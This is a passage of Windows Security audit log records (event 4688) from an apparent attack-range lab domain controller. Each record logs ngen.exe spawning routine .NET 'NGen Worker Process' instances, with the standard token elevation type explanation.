	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ab0 -InterruptEvent 0 -NGENProcess a44 -Pipe ab4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255356
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13e4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ad4 -InterruptEvent 0 -NGENProcess a44 -Pipe ad8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255366
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xca4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ac0 -InterruptEvent 0 -NGENProcess ae4 -Pipe aec -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255365
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbe0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ab0 -InterruptEvent 0 -NGENProcess ae4 -Pipe acc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255364
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12b4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a90 -InterruptEvent 0 -NGENProcess ae4 -Pipe ad0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255363
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8a4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a54 -InterruptEvent 0 -NGENProcess ae0 -Pipe ab8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255362
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe64
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent af4 -InterruptEvent 0 -NGENProcess aec -Pipe a5c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255372
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12e4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ae4 -InterruptEvent 0 -NGENProcess b08 -Pipe b14 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255371
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe94
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b00 -InterruptEvent 0 -NGENProcess b08 -Pipe b04 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255370
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x118c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent afc -InterruptEvent 0 -NGENProcess ae4 -Pipe af8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255369
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa48
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a54 -InterruptEvent 0 -NGENProcess ae4 -Pipe 930 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255368
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe50
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ac4 -InterruptEvent 0 -NGENProcess ae4 -Pipe ab0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255367
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a80 -InterruptEvent 0 -NGENProcess ae4 -Pipe a44 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255374
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9b4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c0 -InterruptEvent 0 -NGENProcess ac0 -Pipe ac4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255373
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1248
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a48 -InterruptEvent 0 -NGENProcess ac0 -Pipe af0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255384
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb44
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c0 -InterruptEvent 0 -NGENProcess ae4 -Pipe b3c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255383
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1228
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a48 -InterruptEvent 0 -NGENProcess ae4 -Pipe b38 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255382
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10e4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b24 -InterruptEvent 0 -NGENProcess ae4 -Pipe b20 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255381
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1268
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b30 -InterruptEvent 0 -NGENProcess ae4 -Pipe b34 -Comment "NGen Worker Process"

